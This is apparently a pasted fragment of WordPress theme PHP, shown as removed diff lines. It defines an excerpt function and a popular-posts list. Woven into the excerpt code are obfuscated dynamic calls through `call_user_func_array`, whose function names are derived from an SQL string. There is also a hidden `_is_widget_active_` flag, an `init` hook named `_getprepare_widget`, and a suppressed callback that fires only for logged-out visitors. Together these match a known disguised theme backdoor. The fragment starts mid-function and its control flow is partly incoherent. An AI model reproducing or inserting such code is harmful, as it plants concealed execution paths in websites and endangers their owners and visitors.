- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fixed_tags)) $fixed_tags=1;
- if(!isset($filters)) $filters=$home_filter;
- if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
- if(!isset($tag_aditional)) $tag_aditional="div";
- if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($more_text_link)) $more_text_link="Continue reading this entry";
- if(!isset($isshowdots)) $isshowdots=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($text_length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $text_length) {
- $l=$text_length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $link_text_more="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $tagsallowed) {
- $output=strip_tags($output, $tagsallowed);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fixed_tags) ? balanceTags($output, true) : $output;
- $output .= ($isshowdots && $ellipsis) ? "..." : "";
- $output=apply_filters($filter, $output);
- switch($tag_aditional) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($is_use_more_link ) {
- if($for_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("init", "_getprepare_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement